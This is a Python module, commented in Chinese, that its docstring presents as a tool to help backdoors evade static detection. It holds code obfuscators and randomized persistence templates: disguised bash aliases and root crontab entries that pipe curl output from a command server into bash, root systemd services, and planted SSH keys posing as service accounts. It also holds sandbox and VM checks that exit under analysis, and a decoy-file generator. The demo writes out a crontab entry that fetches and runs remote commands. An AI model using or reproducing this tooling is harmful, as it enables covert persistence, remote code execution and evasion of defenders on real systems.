#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
反静态检测模块
解决后门特征易被静态检测的问题
实现代码混淆、模板随机化、反沙箱等功能
"""
from __future__ import print_function

import os
import re
import random
import string
import base64
import hashlib
import tempfile
import subprocess
import time

# 导入兼容性模块
try:
    from modules.utils.python_compatibility import (
        print_function, format_string, PY2, PY3,
        ensure_str, ensure_bytes, dict_items, dict_keys
    )
except ImportError:
    # 如果兼容性模块不存在，使用基本兼容性处理
    import sys
    PY2 = sys.version_info[0] == 2
    PY3 = sys.version_info[0] == 3
    
    if PY2:
        def print_function(*args, **kwargs):
            sep = kwargs.get('sep', ' ')
            end = kwargs.get('end', '\n')
            output = sep.join(str(arg) for arg in args) + end
            sys.stdout.write(output)
            sys.stdout.flush()
    else:
        print_function = print( )
    def format_string(template, *args, **kwargs):
        try:
            return template.format(*args, **kwargs)
        except (KeyError, ValueError):
            if args and not kwargs:
                return template % args
            elif kwargs and not args:
                return template % kwargs
            else:
                return template
    
    def ensure_str(s, encoding='utf-8'):
        if PY3:
            if isinstance(s, bytes):
                return s.decode(encoding)
            return str(s)
        else:
            if isinstance(s, unicode):
                return s.encode(encoding)
            return str(s)
    
    def ensure_bytes(s, encoding='utf-8'):
        if PY3:
            if isinstance(s, str):
                return s.encode(encoding)
            return bytes(s)
        else:
            if isinstance(s, unicode):
                return s.encode(encoding)
            return str(s)
    
    def dict_items(d):
        if PY3:
            return list(d.items())
        else:
            return d.items()
    
    def dict_keys(d):
        if PY3:
            return list(d.keys())
        else:
            return d.keys()

class CodeObfuscator:
    """代码混淆器 - 对抗静态分析"""
    
    def __init__(self):
        self.variable_map = {}
        self.function_map = {}
        self.string_map = {}
        
    def generate_random_name(self, prefix="", length=8):
        """生成随机变量/函数名"""
        chars = string.ascii_letters + string.digits
        random_part = ''.join(random.choice(chars) for _ in range(length))
        return format_string("{0}{1}", prefix, random_part) if prefix else random_part
    
    def obfuscate_strings(self, code):
        """字符串混淆 - 将明文字符串转换为动态构造"""
        def replace_string(match):
            original_string = match.group(1)
            if len(original_string) < 3:  # 跳过太短的字符串
                return match.group(0)
            
            # 方法1: Base64编码
            if random.choice([True, False]):
                encoded = base64.b64encode(original_string.encode()).decode()
                return format_string('base64.b64decode("{0}").decode()', encoded)
            
            # 方法2: 字符拼接
            else:
                char_codes = [str(ord(c)) for c in original_string]
                return format_string("''.join(chr(c) for c in [{0}])", ','.join(char_codes))
        
        # 匹配字符串字面量
        pattern = r'"([^"\\]*(\\.[^"\\]*)*)"'
        return re.sub(pattern, replace_string, code)
    
    def obfuscate_variables(self, code):
        """变量名混淆"""
        # 提取所有变量名
        var_pattern = r'\b([a-zA-Z_][a-zA-Z0-9_]*)\s*='
        variables = set(re.findall(var_pattern, code))
        
        # 排除Python关键字和内置函数
        keywords = {'def', 'class', 'if', 'else', 'for', 'while', 'try', 'except', 
                   'import', 'from', 'return', 'print', 'len', 'str', 'int', 'open'}
        variables = variables - keywords
        
        # 生成混淆映射
        for var in variables:
            if var not in self.variable_map:
                self.variable_map[var] = self.generate_random_name("v_")
        
        # 替换变量名
        for original, obfuscated in dict_items(self.variable_map):
            code = re.sub(r'\b' + re.escape(original) + r'\b', obfuscated, code)
        
        return code
    
    def add_junk_code(self, code):
        """添加垃圾代码 - 干扰静态分析"""
        junk_snippets = [
            "# " + self.generate_random_name("comment_", 20),
            format_string("{0} = {1}", self.generate_random_name('dummy_'), random.randint(1, 1000)),
            format_string("if {0} > {1}: pass", random.randint(1, 10), random.randint(11, 20)),
            format_string("_ = '{0}'", self.generate_random_name('', 15)),
            format_string("import {0} as {1}", random.choice(['os', 'sys', 'time', 'random']), self.generate_random_name('mod_'))
        ]
        
        lines = code.split('\n')
        result = []
        
        for line in lines:
            result.append(line)
            # 随机插入垃圾代码
            if random.random() < 0.1:  # 10%概率插入
                result.append(random.choice(junk_snippets))
        
        return '\n'.join(result)
    
    def obfuscate_code(self, code):
        """完整代码混淆"""
        # 1. 字符串混淆
        code = self.obfuscate_strings(code)
        
        # 2. 变量名混淆
        code = self.obfuscate_variables(code)
        
        # 3. 添加垃圾代码
        code = self.add_junk_code(code)
        
        return code

class TemplateRandomizer:
    """模板随机化器 - 避免固定特征"""
    
    def __init__(self):
        self.templates = {
            'bash_alias': self._generate_bash_alias_templates(),
            'crontab': self._generate_crontab_templates(),
            'systemd': self._generate_systemd_templates(),
            'ssh_key': self._generate_ssh_key_templates()
        }
    
    def _generate_bash_alias_templates(self):
        """生成Bash别名后门的随机模板"""
        return [
            # 模板1: 伪装成系统更新
            'alias {alias_name}="curl -s {c2_server}/update.sh | bash"',
            
            # 模板2: 伪装成日志查看
            'alias {alias_name}="tail -f /var/log/syslog; curl -s {c2_server}/cmd | bash"',
            
            # 模板3: 伪装成网络测试
            'alias {alias_name}="ping -c 1 8.8.8.8 && wget -qO- {c2_server}/test"',
            
            # 模板4: 多层混淆
            'alias {alias_name}="echo \\"System check...\\" && $(echo \\"{command}\\" | base64 -d)"',
            
            # 模板5: 条件执行
            'alias {alias_name}="[ -f /tmp/.{random_file} ] && {command} || echo \\"Service unavailable\\""'
        ]
    
    def _generate_crontab_templates(self):
        """生成Crontab后门的随机模板"""
        return [
            # 模板1: 伪装成系统维护
            '{schedule} root /usr/bin/system-maintenance.sh >/dev/null 2>&1',
            
            # 模板2: 伪装成日志轮转
            '{schedule} root /usr/sbin/logrotate-custom /etc/logrotate.conf >/dev/null 2>&1',
            
            # 模板3: 伪装成备份任务
            '{schedule} root /opt/backup/daily-backup.sh --quiet',
            
            # 模板4: 多重伪装
            '{schedule} root [ $(date +\\%s) -gt {timestamp} ] && {command}',
            
            # 模板5: 条件触发
            '{schedule} root [ -f /var/run/{trigger_file} ] && {command} && rm -f /var/run/{trigger_file}'
        ]
    
    def _generate_systemd_templates(self):
        """生成Systemd服务的随机模板"""
        service_names = [
            'system-monitor', 'network-check', 'log-analyzer', 
            'security-update', 'performance-tuner', 'disk-cleaner'
        ]
        
        templates = []
        for _ in range(5):
            template = format_string("""[Unit]
Description={0} {1}
After=network.target

[Service]
Type=forking
ExecStart=/usr/local/bin/{2}.sh
Restart=always
RestartSec={3}
User=root

[Install]
WantedBy=multi-user.target""", 
                random.choice(['System', 'Network', 'Security']),
                random.choice(['Monitor', 'Service', 'Daemon']),
                random.choice(service_names),
                random.randint(30, 300))
            templates.append(template)
        return templates
    
    def _generate_ssh_key_templates(self):
        """生成SSH密钥后门的随机模板"""
        return [
            # 模板1: 标准格式
            'ssh-rsa {key_data} {comment}@{hostname}',
            
            # 模板2: 伪装成系统用户
            'ssh-rsa {key_data} root@backup-server',
            
            # 模板3: 伪装成服务账户
            'ssh-rsa {key_data} service@monitoring.local',
            
            # 模板4: 伪装成开发者
            'ssh-rsa {key_data} admin@{random_domain}.com',
            
            # 模板5: 无注释
            'ssh-rsa {key_data}'
        ]
    
    def get_random_template(self, template_type, **kwargs):
        """获取随机模板并填充参数"""
        if template_type not in self.templates:
            raise ValueError(format_string("Unknown template type: {0}", template_type))
        
        template = random.choice(self.templates[template_type])
        
        # 生成随机参数
        random_params = {
            'alias_name': self._generate_random_alias(),
            'random_file': self._generate_random_filename(),
            'timestamp': str(int(time.time()) + random.randint(86400, 604800)),
            'trigger_file': self._generate_random_filename(),
            'random_domain': self._generate_random_domain(),
            'hostname': self._generate_random_hostname()
        }
        
        # 合并用户参数和随机参数
        all_params = dict(random_params)
        all_params.update(kwargs)
        
        try:
            return template.format(**all_params)
        except KeyError as e:
            # 如果模板需要的参数没有提供，返回原模板
            return template
    
    def _generate_random_alias(self):
        """生成随机别名"""
        prefixes = ['sys', 'net', 'log', 'check', 'update', 'scan']
        suffixes = ['tool', 'util', 'cmd', 'exec', 'run', 'test']
        return format_string("{0}{1}", random.choice(prefixes), random.choice(suffixes))
    
    def _generate_random_filename(self):
        """生成随机文件名"""
        return ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
    
    def _generate_random_domain(self):
        """生成随机域名"""
        domains = ['example', 'test', 'local', 'internal', 'corp', 'dev']
        tlds = ['com', 'org', 'net', 'local']
        return format_string("{0}.{1}", random.choice(domains), random.choice(tlds))
    
    def _generate_random_hostname(self):
        """生成随机主机名"""
        prefixes = ['srv', 'host', 'node', 'box', 'vm']
        return format_string("{0}-{1:03d}", random.choice(prefixes), random.randint(1, 999))

class AntiSandboxDetector:
    """反沙箱检测器"""
    
    def __init__(self):
        self.sandbox_indicators = [
            '/usr/bin/vboxmanage',
            '/usr/bin/vmware-toolbox-cmd',
            '/proc/vz',
            '/proc/xen',
            '/sys/class/dmi/id/product_name'
        ]
    
    def detect_sandbox(self):
        """检测是否在沙箱环境中运行"""
        # 检查虚拟化指示器
        for indicator in self.sandbox_indicators:
            if os.path.exists(indicator):
                return True
        
        # 检查系统信息
        try:
            with open('/proc/cpuinfo', 'r') as f:
                cpuinfo = f.read().lower()
                if any(vm in cpuinfo for vm in ['vmware', 'virtualbox', 'qemu', 'xen']):
                    return True
        except:
            pass
        
        # 检查内存大小（沚箱通常内存较小）
        try:
            with open('/proc/meminfo', 'r') as f:
                meminfo = f.read()
                mem_match = re.search(r'MemTotal:\s+(\d+)\s+kB', meminfo)
                if mem_match:
                    mem_kb = int(mem_match.group(1))
                    if mem_kb < 1024 * 1024:  # 小于1GB
                        return True
        except:
            pass
        
        # 检查运行时间（沙箱通常运行时间很短）
        try:
            with open('/proc/uptime', 'r') as f:
                uptime = float(f.read().split()[0])
                if uptime < 300:  # 小于5分钟
                    return True
        except:
            pass
        
        return False
    
    def anti_sandbox_delay(self):
        """反沙箱延时"""
        if self.detect_sandbox():
            # 在沙箱中执行无害操作并退出
            time.sleep(random.randint(1, 5))
            exit(0)
        
        # 正常环境中的随机延时
        time.sleep(random.uniform(0.5, 2.0))

class StaticDetectionEvasion:
    """静态检测规避主控制器"""
    
    def __init__(self):
        self.obfuscator = CodeObfuscator()
        self.template_randomizer = TemplateRandomizer()
        self.anti_sandbox = AntiSandboxDetector()
    
    def evade_file_signatures(self, file_path):
        """规避文件签名检测"""
        # 读取原文件
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
        
        # 代码混淆
        obfuscated_content = self.obfuscator.obfuscate_code(content)
        
        # 生成临时文件
        temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)
        temp_file.write(obfuscated_content)
        temp_file.close()
        
        return temp_file.name
    
    def generate_polymorphic_payload(self, payload_type, **params):
        """生成多态载荷"""
        # 反沙箱检查
        self.anti_sandbox.anti_sandbox_delay()
        
        # 获取随机模板
        template = self.template_randomizer.get_random_template(payload_type, **params)
        
        return template
    
    def create_decoy_files(self, target_dir, count=3):
        """创建诱饵文件"""
        decoy_names = [
            'system_check.py', 'network_test.py', 'log_analyzer.py',
            'backup_tool.py', 'monitor_service.py', 'update_script.py'
        ]
        
        for i in range(min(count, len(decoy_names))):
            decoy_path = os.path.join(target_dir, decoy_names[i])
            decoy_content = self._generate_decoy_content()
            
            try:
                with open(decoy_path, 'w') as f:
                    f.write(decoy_content)
                os.chmod(decoy_path, 0o755)
            except:
                pass
    
    def _generate_decoy_content(self):
        """生成诱饵文件内容"""
        return format_string("""#!/usr/bin/env python3
# System utility script
import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import time




def main():
    print("System check in progress...")
    time.sleep({0})
    print("All systems operational")
    return 0

if __name__ == "__main__":
    sys.exit(main())
""", random.randint(1, 3))

# 使用示例
def demo_static_evasion():
    """演示静态检测规避功能"""
    evasion = StaticDetectionEvasion()
    
    # 生成多态Crontab后门
    cron_payload = evasion.generate_polymorphic_payload(
        'crontab',
        schedule='0 */6 * * *',
        command='curl -s http://example.com/cmd | bash'
    )
    print("多态Crontab载荷:", cron_payload)
    
    # 生成多态SSH密钥
    ssh_payload = evasion.generate_polymorphic_payload(
        'ssh_key',
        key_data='AAAAB3NzaC1yc2EAAAA...',
        comment='admin'
    )
    print("多态SSH密钥:", ssh_payload)

if __name__ == "__main__":
    demo_static_evasion()